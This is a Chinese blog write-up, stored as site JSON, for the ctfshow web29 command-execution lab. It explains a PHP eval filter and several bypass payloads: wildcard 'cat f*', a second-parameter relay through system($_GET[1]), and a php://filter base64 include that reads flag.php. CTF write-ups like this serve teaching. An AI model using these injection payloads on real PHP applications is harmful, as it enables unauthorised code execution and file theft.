[{"data":1,"prerenderedAt":415},["ShallowReactive",2],{"content:\u002F2026\u002Fctfshow-web-command-exec":3,"surround:\u002F2026\u002Fctfshow-web-command-exec":409},{"id":4,"title":5,"body":6,"categories":375,"date":377,"description":378,"draft":379,"extension":380,"image":381,"meta":382,"navigation":384,"path":385,"permalink":385,"published":386,"readingTime":387,"recommend":392,"references":386,"seo":393,"sitemap":394,"stem":403,"tags":404,"type":406,"updated":407,"__hash__":408},"content\u002Fposts\u002F2026\u002Fctfshow-命令执行.md","ctfshow-web-命令执行",{"type":7,"value":8,"toc":351},"minimark",[9,12,16,20,31,34,69,73,78,86,89,93,96,100,103,118,122,126,149,157,162,165,171,178,181,186,193,199,205,211,215,218,240,246,249,252,258,262,266,271,277,283,289,295,301,304,308,311,314,320,323,329,333,336,339,345],[10,11],"hr",{},[13,14,15],"h2",{"id":15},"web29",[17,18,19],"h3",{"id":19},"读懂代码",[21,22,28],"pre",{"className":23,"code":25,"language":26,"meta":27},[24],"language-php","error_reporting(0);\u002F*关闭报错，即使错了也不会显示的，防止我们靠报错信息探测*\u002F\nif(isset($_GET['c'])){\u002F*检查url里头，有没有报错的参数C*\u002F\n    $c = $_GET['c'];\u002F*把参数C赋值给变量$C*\u002F\n    if(!preg_match(\"\u002Fflag\u002Fi\", $c)){\u002F*用正则看有没有flag这四个字母*\u002F\n        eval($c);\u002F*没有的话就把$C当作代码执行*\u002F\n    }\n    \n}else{\n    highlight_file(__FILE__);\u002F*没传参数c时就把,题目源码高亮显示出来给我们看*\u002F\n}\n","php","",[29,30,25],"code",{"__ignoreMap":27},[17,32,33],{"id":33},"函数",[35,36,37,49],"table",{},[38,39,40],"thead",{},[41,42,43,46],"tr",{},[44,45,33],"th",{},[44,47,48],{},"作用",[50,51,52,61],"tbody",{},[41,53,54,58],{},[55,56,57],"td",{},"preg_match",[55,59,60],{},"php的正则匹配函数，“\u002Fflag\u002Fi”表示寻找字符串“flag”,\"i\"表示不区分大小写，也就是说，flag,Flag,FLAG都算",[41,62,63,66],{},[55,64,65],{},"eval()",[55,67,68],{},"把字符串当代码执行的函数，危险函数之一，它执行的是php代码，而不是终端命令",[17,70,72],{"id":71},"思路开始之前先弄清楚这些","思路（开始之前先弄清楚这些）",[74,75,77],"h4",{"id":76},"q1我们的目标是什么","Q1:我们的目标是什么？",[79,80,81,82,85],"p",{},"拿flag，flag肯定藏在某个文件里（ctf-web一贯这样），那会是哪个文件呢？大概叫flag.php,我为什么会猜这个？首先，flag.php在我信息搜集的文章中遇到过，算是常见的可能会藏有flag的文件名之一，其次，你看代码",[29,83,84],{"code":84}," if(!preg_match(\"\u002Fflag\u002Fi\", $c))","用正则检验有没有flag这个字符串，必须要没有flag这个字符串才能走下一步，你猜它为什么不禁别的字符串，唯独禁flag？偏爱吗❤?那很爱了。",[79,87,88],{},"当然是因为，文件名包含这个字符串啊，只是我们没办法明着访问flag.php",[74,90,92],{"id":91},"q2有什么可以利用的","Q2:有什么可以利用的？",[79,94,95],{},"eval()会执行我传入的任何不含flag的php代码，这正是可以利用的一点",[74,97,99],{"id":98},"q3障碍是什么怎么绕","Q3:障碍是什么？怎么绕？",[79,101,102],{},"障碍：我的http请求里不能出现flag这四个连续的字母，包括大写，但是难点就在于目标文件偏偏又叫flag.php,所以我们需要绕过，有两种绕过思路",[104,105,106,110],"ul",{},[107,108,109],"li",{},"1.命令里不写”flag“,但照样能读到它→通配符，字符串拼接，编码",[107,111,112,113,117],{},"2.”写flag“但不写在被检查的参数C里：题目只检查$_GET",[114,115,116],"span",{},"'C'",",我们传另一个参数装payload,C里头只写一句中转代码",[17,119,121],{"id":120},"法一通配符绕过经典","法一：通配符绕过（经典）",[17,123,125],{"id":124},"什么是通配符","什么是通配符？",[79,127,128,131,132,136,137,140,141,144,145,148],{},[29,129,130],{"code":130},"*"," 是 ",[133,134,135],"strong",{},"Linux Shell 的通配符","（glob），它由 Shell 在执行前展开：",[29,138,139],{"code":139},"f*"," 自动匹配当前目录下所有 ",[29,142,143],{"code":143},"f"," 开头的文件名，",[29,146,147],{"code":147},"flag.php"," 正好命中。",[21,150,155],{"className":151,"code":153,"language":154},[152],"language-text","?c=system('ls');\n?c=system('cat f*')\n","text",[29,156,153],{"__ignoreMap":27},[79,158,159],{},[133,160,161],{},"过滤发生在 PHP 层，通配展开发生在 Shell 层，过滤者根本看不到展开后的真名。",[79,163,164],{},"直接在url里边访问",[21,166,169],{"className":167,"code":168,"language":154},[152],"https:\u002F\u002Ff85fae9f-....challenge.ctf.show\u002F?c=system('ls');\n",[29,170,168],{"__ignoreMap":27},[79,172,173],{},[174,175],"img",{"alt":176,"src":177},"image-20261101112601374","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261101112601374.png",[79,179,180],{},"先确认flag.php确实存在，再进行下一步",[79,182,183],{},[133,184,185],{},"这里特别要注意单引号要是直的，英文格式下的，不然界面可能会是空白，还有一点，最后的分号不能少",[79,187,188,189,192],{},"如果写",[29,190,191],{"code":191},"?c=system('cat f*')",",界面可能是空白，需要ctrl+u查看源码才能看到flag",[79,194,195],{},[174,196],{"alt":197,"src":198},"image-20261101114359463","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261101114359463.png",[79,200,188,201,204],{},[29,202,203],{"code":203},"?c=system('tac f*')",",可以直接看到flag",[79,206,207],{},[174,208],{"alt":209,"src":210},"image-20261101114549378","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261101114549378.png",[74,212,214],{"id":213},"q为什么cat-tac-正着写和倒着写显示的界面不一样","Q:为什么cat tac 正着写和倒着写，显示的界面不一样？",[79,216,217],{},"cat tac 两份输出的开头内容不一样，导致html解析器之后处理方式也不一样",[79,219,220,221,224,225,227,228,231,232,235,236,239],{},"浏览器渲染时，会扫描响应内容，遇到\u003C就会进入“标签解析模式”：遇到",[29,222,223],{"code":223},"\u003C?","开头，浏览器会把它当作一条注释开头，一直吞到下一个>为止，所以说，从",[29,226,223],{"code":223},"到",[29,229,230],{"code":230},">","的内容都不会在界面上显示，所以需要",[29,233,234],{"code":234},"ctrl+u","查看，刚巧,php的开始结尾就是",[29,237,238],{"code":238},"\u003C?php ...?>","，看上边红字黑底的图片可知，这个文件没有？>,所以就一直从\u003C?php吞到文件末尾,flag就显示不出来了",[21,241,244],{"className":242,"code":243,"language":26,"meta":27},[24],"\u003C?php  \u002F*从这里开始吞*\u002F\n\n\u002F*\n# -*- coding: utf-8 -*-\n# @Author: h1xa\n# @Date:   2020-09-04 00:14:07\n# @Last Modified by:   h1xa\n# @Last Modified time: 2020-09-04 00:14:17\n# @email: h1xa@ctfer.com\n# @link: https:\u002F\u002Fctfer.com\n\n*\u002F\n\n$flag = 'ctfshow{33a9d6bd-fee1-40ee-9cc1-88067edd1015}'; \u002F*由于没有结束标志`>`就一直吞到文件末尾，包括flag,所以flag无法显示*\u002F\n",[29,245,243],{"__ignoreMap":27},[79,247,248],{},"tac倒着输出就刚好是红字黑底那张图片中的代码倒过来",[74,250,251],{"id":251},"tac很巧妙",[21,253,256],{"className":254,"code":255,"language":26,"meta":27},[24],"$flag = 'ctfshow{33a9d6bd-fee1-40ee-9cc1-88067edd1015}';\n*\u002F\n# @link: https:\u002F\u002Fctfer.com\n# @email: h1xa@ctfer.com\n...\n# -*- coding: utf-8 -*-\n\u002F*\n\u003C?php \u002F*从这里开始吞，完全不影响flag输出*\u002F\n",[29,257,255],{"__ignoreMap":27},[17,259,261],{"id":260},"法二双参数中转","法二：双参数中转",[74,263,265],{"id":264},"为什么可以绕过","为什么可以绕过？",[79,267,268,270],{},[29,269,84],{"code":84},"正则只检查$c这一个参数的值，其它参数没有被检查，那就可以传两个参数，第一个参数绕过检查（参数的值是第二个参数的名字，不含flag），检查只会检查到一个参数名，第二个参数放真正的flag文件名，并且用函数获取文件内容。",[21,272,275],{"className":273,"code":274,"language":154},[152],"?c=system($_GET[1]);&1=tac flag.php\n",[29,276,274],{"__ignoreMap":27},[79,278,279,282],{},[29,280,281],{"code":281},"?c=system($_GET[1]);","里边没有flag这个字符串，通过，执行eval",[79,284,285,288],{},[29,286,287],{"code":287},"&1=tac flag.php","里边写着flag但是，没人检查啊",[79,290,291],{},[174,292],{"alt":293,"src":294},"image-20261101122326876","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261101122326876.png",[21,296,299],{"className":297,"code":298,"language":154},[152],"?c=eval($_GET[1]);&1=system('tac flag.php');\n",[29,300,298],{"__ignoreMap":27},[79,302,303],{},"这么写也可以",[17,305,307],{"id":306},"法三include-phpfilter-伪协议经典","法三：include + php:\u002F\u002Ffilter 伪协议（经典）",[79,309,310],{},"这题的内容在php伪协议和base64过滤中详细解释了，信息搜集篇也有对include的解释，这里已经是第三次遇到了，具体内容就不做解释了",[79,312,313],{},"之前我们都是include作为题目内容，我们使用php伪协议，这里我们将include和php结合起来",[21,315,318],{"className":316,"code":317,"language":154},[152],"?c=include$_GET[1]?>&1=php:\u002F\u002Ffilter\u002Fread=convert.base64-encode\u002Fresource=flag.php\n",[29,319,317],{"__ignoreMap":27},[79,321,322],{},"得到的是base64编码的flag，找一些解码工具解码就行",[79,324,325],{},[174,326],{"alt":327,"src":328},"image-20261101123443608","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261101123443608.png",[17,330,332],{"id":331},"法四把flag藏进编码里","法四：把flag藏进编码里",[79,334,335],{},"既然题目不给出现flag这个字符串，那我把它编码了，不明着出现不就好了，但是它还是flag这个意思",[79,337,338],{},"我把tac flag.php编码之后填入system中",[79,340,341],{},[174,342],{"alt":343,"src":344},"image-20261101124518736","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261101124518736.png",[79,346,347],{},[174,348],{"alt":349,"src":350},"image-20261101124900727","https:\u002F\u002Fzelia-avatar-1471520438.cos.ap-guangzhou.myqcloud.com\u002Fblog\u002Fimages\u002Fimage-20261101124900727.png",{"title":27,"searchDepth":352,"depth":352,"links":353},4,[354],{"id":15,"depth":355,"text":15,"children":356},2,[357,359,360,365,366,370,373,374],{"id":19,"depth":358,"text":19},3,{"id":33,"depth":358,"text":33},{"id":71,"depth":358,"text":72,"children":361},[362,363,364],{"id":76,"depth":352,"text":77},{"id":91,"depth":352,"text":92},{"id":98,"depth":352,"text":99},{"id":120,"depth":358,"text":121},{"id":124,"depth":358,"text":125,"children":367},[368,369],{"id":213,"depth":352,"text":214},{"id":251,"depth":352,"text":251},{"id":260,"depth":358,"text":261,"children":371},[372],{"id":264,"depth":352,"text":265},{"id":306,"depth":358,"text":307},{"id":331,"depth":358,"text":332},[376],"web","2026-11-01 10:15:00","web-wp",false,"md","\u002Fimages\u002Fbaopo\u002F2.jpg",{"slots":383},{},true,"\u002F2026\u002Fctfshow-web-command-exec",null,{"text":388,"minutes":389,"time":390,"words":391},"7 min read",6.69,401400,1338,5,{"title":5,"description":378},{"loc":385,"images":395},[396,397,398,399,400,401,402],{"loc":177},{"loc":198},{"loc":210},{"loc":294},{"loc":328},{"loc":344},{"loc":350},"posts\u002F2026\u002Fctfshow-命令执行",[376,405],"命令执行","tech","2026-11-01 10:16:00","OTx17K7KzOJGQZeb-oTUlpc59Pldq-xd2cUE_JYbTQs",[410,386],{"title":411,"path":412,"stem":413,"date":414,"type":406,"children":-1},"ctfshow-web-爆破","\u002F2026\u002Fctfshow-web-baopo","posts\u002F2026\u002Fctfshow-web-爆破","2026-10-25 01:15:00",1793524344821]